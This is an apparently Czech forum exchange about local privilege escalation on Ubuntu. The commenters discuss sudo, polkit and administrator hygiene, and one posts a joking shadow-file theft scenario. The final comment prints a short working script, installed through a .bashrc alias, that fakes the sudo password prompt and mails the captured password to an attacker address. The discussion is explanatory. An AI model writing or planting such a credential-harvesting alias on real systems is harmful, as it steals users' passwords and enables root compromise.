1. V noci se priplizite k pocitaci, zabootujete live distro a ukradnete /ec/shadow
2. Cracknete uzivatelovo heslo pomoci vaseho clusteru NSA vykonu.
3. Zaskocite k pocitaci, pomoci ziskaneho hesla si vypisete obsah logu less /var/log/auth a zjistite posledni cas sudo.
4. Pomoci sudo prestelujete hodiny a honem, nez vam to ntpd zase nastavi zpet, pouzijete sudo bez hesla.
Odmenou vam bude uspokojeni z toho, jaky jste drzny cracker.
Uh-oh. Kreativita Vam rozhodne nechybi, nicmene cela situace nemusi byt takto pritazena za vlasy.
To ceho dosahnete jest nazyvano local privilege escalation, neboli z neprivilegovaneho uzivatele razem mate (skoro) roota.
Prekurzorem velikeho problemu v teto situaci tedy je remote code execution (tak treba onen shellshock).
Samozrejme, ze spolehlivost tohoto procesu je primo umerna bezpecnostni hygiene administratora -- proces, ktery ma korektne nastavena (dropnuta) prava,
je korektne izolovany/confinuty uvnitr vlastni domeny (SElinux - AppArmor je jina pisnicka - ale take klasicky DAC, pivot_root uvnitr NS etc.)
nemluve vubec o tom, ze granularita sudo je mnohem lepsi nez pouha root-proxy.
Zkratka a dobre, pointa je, ze na defualtni instalaci Ubunto Vam vetsinu casu staci local/remote code execution a roota dostanete od polkitu skoro zadarmo, zadne honeni kernel exploitu nebo buggy suid binarek ;)
Je to asi taková zranitelnost jako:
echo "alias sudo=/tmp/mysudo" >> ~/.bashrc
kde /tmp/mysudo je script na téma:
#!/bin/sh
cat <<EOF
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for ondrej:
EOF
read -s PASSWORD
echo $PASSWORD | mail -s "Sudo for $USER" hacka@big.hacka
sleep 5
exec /usr/bin/sudo $@
Jasně, že se banner vypíše i podruhé, ale:
1) kdo si toho všimne...
2) už je stejně pozdě
Pokud se útočník dostane k odemčenému desktopu účtu, který má přístup na roota, tak je to jen variace na téma "jak dlouho to bude trvat"...